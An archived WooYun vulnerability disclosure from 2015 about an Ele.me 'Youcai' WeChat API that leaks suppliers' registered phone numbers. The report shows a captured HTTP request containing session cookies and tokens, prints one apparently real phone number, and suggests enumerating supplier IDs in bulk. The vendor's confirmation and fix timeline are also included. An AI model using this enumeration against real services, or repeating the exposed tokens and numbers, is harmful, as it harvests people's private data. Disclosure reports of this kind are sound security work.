乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-21: 细节已通知厂商并且等待厂商处理中 2015-10-22: 厂商已经确认,细节仅向厂商公开 2015-11-01: 细节向核心白帽子及相关领域专家公开 2015-11-11: 细节向普通白帽子公开 2015-11-21: 细节向实习白帽子公开 2015-12-05: 厂商已经修复漏洞并主动公开,细节向公众公开
用户敏感信息泄漏
问题出在有菜 微信端首先我们看下商户信息
然后抓包
GET /api/supplier/2792 HTTP/1.1Host: youcai.ele.meAccept-Encoding: gzip, deflateCookie: _utrace=c8456e60386614d292486c081b713c10_2015-10-13; eleme__ele_me=f5392406e563495e23b77fefe7e2d099%3A7deebd27579661558aa60ff03882f47a47b5733a; track_id=1444666918%7Ccd7c60baeac69b4cfd36667853b4efd0990137340c68e6f9f0%7C4621431fe41c60df1fb5c396d1ea5f7b; ubt_ssid=yz8zt80frn2fw1epek29ymoq3gcnifc1_2015-10-13; wechatInfo=%7B%22openid%22%3A%22oEGLvjnLIp9eUDdh6d3TeUbRINsM%22%2C%22nickname%22%3A%22%E5%B0%8F%E5%AE%87%22%2C%22sex%22%3A1%2C%22language%22%3A%22zh_CN%22%2C%22city%22%3A%22%E6%9C%9D%E9%98%B3%22%2C%22province%22%3A%22%E5%8C%97%E4%BA%AC%22%2C%22country%22%3A%22%E4%B8%AD%E5%9B%BD%22%2C%22headimgurl%22%3A%22http%3A%2F%2Fwx.qlogo.cn%2Fmmopen%2FkqodNCVWpEujFBjxMETTQ1zB66Y2q22EQbn7GgIKCvYfyjPGWGvrznCv7t0sL3eZ1h5aea7lb1LHY7a7KWbfTA%2F0%22%2C%22privilege%22%3A%5B%22chinaunicom%22%5D%2C%22eleme_key%22%3A%22c055ca07221929851969ee562cfe5be4%22%7Dx-token: 99f29ac510d6314f6e0c7e45cf4044500e2841888c7ec16519132eec943ad5d6Connection: keep-aliveAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13A342 MicroMessenger/6.3.1 NetType/WIFI Language/zh_CNAccept-Language: zh-cnReferer: http://youcai.ele.me/?code=0011f7083d0899990119e3a472e0c895&state=123Cache-Control: max-age=0
看下返回值
63046506这个号码 应该是用户公开的信息但是这个手机号 13816312551 前台是看不到的 应该是用户的注册信息批量跑一下
修复
危害等级:低
漏洞Rank:5
确认时间:2015-10-22 17:47
非常感谢您的报告,该问题确实存在,考虑业务需求,评估风险较小。如有任何新的进展我们将会及时同步。稍后我们将会联系您,进行后续礼品发放。
2015-12-05:漏洞已修复,谢谢对饿了么的支持和关注!